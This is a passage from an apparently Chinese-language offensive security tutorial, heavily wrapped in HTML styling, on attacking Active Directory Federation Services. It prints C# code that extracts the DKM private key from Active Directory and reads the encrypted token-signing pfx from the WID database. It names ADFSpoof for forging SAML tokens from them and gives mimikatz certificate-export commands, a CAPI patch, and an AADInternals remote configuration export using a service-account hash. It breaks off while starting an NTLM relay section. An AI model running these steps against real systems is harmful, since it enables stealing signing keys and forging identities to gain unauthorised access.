border-box;color: rgb(0, 0, 0);">searchString</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;LDAP://&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Console</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">WriteLine</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;## Extracting Private Key from Active Directory Store&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Console</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">WriteLine</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">$</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;[-] Domain is {domain}&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span>[] <span style="box-sizing: border-box;color: rgb(0, 0, 0);">domainParts</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">domain</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Split</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;.&#39;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">List</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">String</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">searchBase</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">List</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">String</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&gt;</span>{ <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;CN=ADFS&#34;</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;CN=Microsoft&#34;</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;CN=Program Data&#34;</span> };</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">foreach</span>( <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">part</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">in</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">domainParts</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(0, 0, 0);">searchBase</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Add</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">$</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;DC={part}&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ldap</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">$</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;{searchString}{string.Join(&#34;</span>,<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;, searchBase.ToArray())}&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            <span style="box-sizing: border-box;color: rgb(119, 0, 136);">try</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">            {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                <span style="box-sizing: border-box;color: rgb(119, 0, 136);">using</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">DirectoryEntry</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">entry</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DirectoryEntry</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ldap</span>))</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">using</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">DirectorySearcher</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">mySearcher</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">DirectorySearcher</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">entry</span>))</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                    {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">mySearcher</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Filter</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">LdapFilter</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">mySearcher</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">PropertiesToLoad</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Add</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;thumbnailphoto&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">foreach</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">SearchResult</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">resEnt</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">in</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">mySearcher</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">FindAll</span>())</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                        {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">byte</span>[] <span style="box-sizing: border-box;color: rgb(0, 0, 0);">privateKey</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> (<span style="box-sizing: border-box;color: rgb(0, 0, 0);">byte</span>[])<span style="box-sizing: border-box;color: rgb(0, 0, 0);">resEnt</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Properties</span>[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;thumbnailphoto&#34;</span>][<span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>];</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">convertedPrivateKey</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">BitConverter</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">ToString</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">privateKey</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                            <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Console</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">WriteLine</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;[-] Private Key: {0}\r\n\r\n&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">convertedPrivateKey</span>);</span></pre><p cid="n116" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这个属性名称有点怪？因为在 VMware Identity Manager中这个属性真的是用来放照片链接的</span></p><p cid="n117" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">然后连接到wid读数据库中的身份信息和pfx（加密签名密钥）</span></p><pre spellcheck="false" lang="c++" cid="n118" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">static</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">class</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">DatabaseReader</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">private</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">const</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">WidConnectionString</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Data Source=np:\\\\.\\pipe\\microsoft##wid\\tsql\\query;Integrated Security=True&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">private</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">const</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">WidConnectionStringLegacy</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Data Source=np:\\\\.\\pipe\\MSSQL$MICROSOFT##SSEE\\sql\\query&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">private</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">const</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ReadEncryptedPfxQuery</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;SELECT ServiceSettingsData from {0}.IdentityServerPolicy.ServiceSettings&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">private</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">static</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">readonly</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span>[] <span style="box-sizing: border-box;color: rgb(0, 0, 0);">BuiltInScopes</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> { <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;SelfScope&#34;</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;ProxyTrustProvisionRelyingParty&#34;</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Device Registration Service&#34;</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;UserInfo&#34;</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;PRTUpdateRp&#34;</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Windows Hello - Certificate Provisioning Service&#34;</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;urn:AppProxy:com&#34;</span> };</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">private</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">const</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ReadScopePolicies</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;SELECT SCOPES.ScopeId,SCOPES.Name,SCOPES.WSFederationPassiveEndpoint,SCOPES.Enabled,SCOPES.SignatureAlgorithm,SCOPES.EntityId,SCOPES.EncryptionCertificate,SCOPES.MustEncryptNameId, SCOPES.SamlResponseSignatureType, SCOPES.ParameterInterface, SAML.Binding, SAML.Location,POLICYTEMPLATE.name, POLICYTEMPLATE.PolicyMetadata, POLICYTEMPLATE.InterfaceVersion, SCOPEIDS.IdentityData FROM {0}.IdentityServerPolicy.Scopes SCOPES LEFT OUTER JOIN {0}.IdentityServerPolicy.ScopeAssertionConsumerServices SAML ON SCOPES.ScopeId = SAML.ScopeId LEFT OUTER JOIN {0}.IdentityServerPolicy.PolicyTemplates POLICYTEMPLATE ON SCOPES.PolicyTemplateId = POLICYTEMPLATE.PolicyTemplateId LEFT OUTER JOIN {0}.IdentityServerPolicy.ScopeIdentities SCOPEIDS ON SCOPES.ScopeId = SCOPEIDS.ScopeId&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">private</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">const</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ReadScopePoliciesLegacy</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;SELECT SCOPES.ScopeId,SCOPES.Name,SCOPES.WSFederationPassiveEndpoint,SCOPES.Enabled,SCOPES.SignatureAlgorithm,SCOPES.EntityId,SCOPES.EncryptionCertificate,SCOPES.MustEncryptNameId,SCOPES.SamlResponseSignatureType, SAML.Binding, SAML.Location, SCOPEIDS.IdentityData FROM {0}.IdentityServerPolicy.Scopes SCOPES LEFT OUTER JOIN {0}.IdentityServerPolicy.ScopeAssertionConsumerServices SAML ON SCOPES.ScopeId = SAML.ScopeId LEFT OUTER JOIN {0}.IdentityServerPolicy.ScopeIdentities SCOPEIDS ON SCOPES.ScopeId = SCOPEIDS.ScopeId&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">private</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">const</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">string</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ReadRules</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Select SCOPE.ScopeId, SCOPE.name, POLICIES.PolicyData,POLICIES.PolicyType, POLICIES.PolicyUsage FROM {0}.IdentityServerPolicy.Scopes SCOPE INNER JOIN {0}.IdentityServerPolicy.ScopePolicies SCOPEPOLICIES ON SCOPE.ScopeId = SCOPEPOLICIES.ScopeId INNER JOIN {0}.IdentityServerPolicy.Policies POLICIES ON SCOPEPOLICIES.PolicyId = POLICIES.PolicyId&#34;</span>;</span></pre><p cid="n119" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">之后就可以用ADFSpoof根据pfx、私钥、和用户信息生成身份验证SAML请求ADFS的SamlResponseServlet接口获取权限</span></p><p cid="n120" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">ADFSDump：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/mandiant/ADFSDump/" target="_blank">https://github.com/mandiant/ADFSDump/</a></span></p><p cid="n121" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">ADFSpoof：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/mandiant/ADFSpoof" target="_blank">https://github.com/mandiant/ADFSpoof</a></span></p><p cid="n122" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">如果使用ADFSDump导出证书为空，可以使用mimikatz导出</span></p><pre spellcheck="false" lang="" cid="n123" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">mimikatz @crypto::certificates /systemstore:local_machine /store:my</span></pre><p cid="n124" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">如果系统不支持使用CryptoAPI导出证书</span></p><p cid="n125" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">可以使用mimikatz打capi补丁然后导出</span></p><pre spellcheck="false" lang="" cid="n126" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">mimikatz @crypto::capi</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">crypto::certificates /systemstore:local_machine /store:my /export</span></pre><p cid="n127" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">将 ADFSDump 中的证书值与mimikatz的证书的值进行比较来确定 ADFS 使用的是哪个证书</span></p><h2 cid="n128" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">DSync-ADFS</span></h2><p cid="n129" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">对于远程mssql的数据库连接ADFSDump没有实现，不过我们可以用</span></p><p cid="n130" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/Gerenios/AADInternals" target="_blank">https://github.com/Gerenios/AADInternals</a></span></p><p cid="n131" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">就像针对ldap的数据库可以使用主从备份一样，我们也可以模拟ADFS的辅助数据库来同步数据,需要ADFS服务账户的密码/hash和guid</span></p><pre spellcheck="false" lang="powershell" cid="n132" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);"># Export configuration remotely and store to variable</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 85, 170);">$ADFSConfig</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;">Export-AADIntADFSConfiguration</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span><span style="box-sizing: border-box;">Hash</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;6e36047d34057fbb8a4e0ce8933c73cf&#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span><span style="box-sizing: border-box;">SID</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;S-1-5-21-1332519571-494820645-211741994-8710&#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">-</span><span style="box-sizing: border-box;">Server</span> <span style="box-sizing: border-box;">sts</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;">company</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;">com</span></span></pre><h2 cid="n133" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">ADFS relay</span></h2><p cid="n134" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">ADFS 允许客户端通过 WIA 机制使用 NTLM 身份验证进行身份验证，认证流程和NTLM协议认证流程基本是一样的，客户端发起协商请求，服务端提供challage，然后客户端用用户密码加密过的认证信息去认证，服务端通过验证请求后发送身份cookie</span></p><pre spellcheck="false" lang="" cid="n135" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">WIA ：集成 Windows 身份验证（NTLM 或 Windows NT 质询/响应验证）</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">默认情况下，Windows集成身份验证 (WIA) 在 Windows Server Active Directory 联合身份验证服务 (AD FS) 中启用，以便在组织内部网络 (Intranet) 中为使用浏览器进行身份验证的任何应用程序启用身份验证请求。 例如，可以使用 WS-Federation 或 SAML 协议以及使用 OAuth 协议的丰富应用程序基于浏览器的应用程序。 WIA 为最终用户提供无缝登录应用程序，而无需手动输入其凭据。 但是，某些设备和浏览器无法支持 WIA，因此来自这些设备的身份验证请求会失败。 此外，某些与 NTLM 协商的浏览器上的经验是不可取的。 建议的方法是回退到此类设备和浏览器的基于表单的身份验证。</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Windows Server 2016 和 Windows Server 2012 R2 中的 AD FS 使管理员能够配置支持回退到基于表单的身份验证的用户代理列表。 可通过两种配置实现回退：</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">commandlet 的 Set-ADFSPropertiesWIASupportedUserAgentStrings 属性</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">commandlet 的 Set-AdfsGlobalAuthenticationPolicyWindowsIntegratedFallbackEnabled 属性</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">WIASupportedUserAgentStrings 定义支持 WIA 的用户代理。 AD FS 在浏览器或浏览器控件中执行登录名时分析用户代理字符串。 如果用户代理字符串的组件与 WIASupportedUserAgentStrings 属性中配置的用户代理字符串的任何组件不匹配，则 AD FS 将回退到提供基于表单的身份验证，前提是 WindowsIntegratedFallbackEnabled 标志设置为 True。</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Set-AdfsGlobalAuthenticationPolicy -WindowsIntegratedFallbackEnabled $true</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">可以将 Chrome 或其他用户代理添加到支持 WIA 的 AD FS 配置。 这样就可以无缝登录到应用程序，而无需在访问受 AD FS 保护的资源时手动输入凭据。 按照以下步骤在 Chrome 上启用 WIA：</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">在 AD FS 配置中，在基于Windows的平台上为 Chrome 添加用户代理字符串：</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Set-AdfsProperties -WIASupportedUserAgents (Get-ADFSProperties | Select -ExpandProperty WIASupportedUserAgents) + &#34;Mozilla/5.0 (Windows NT)&#34;</span></pre><p cid="n136" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">ADFS relay攻击成功的前提是</span></p><ul class="list-paddingleft-1" cid="n137" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: 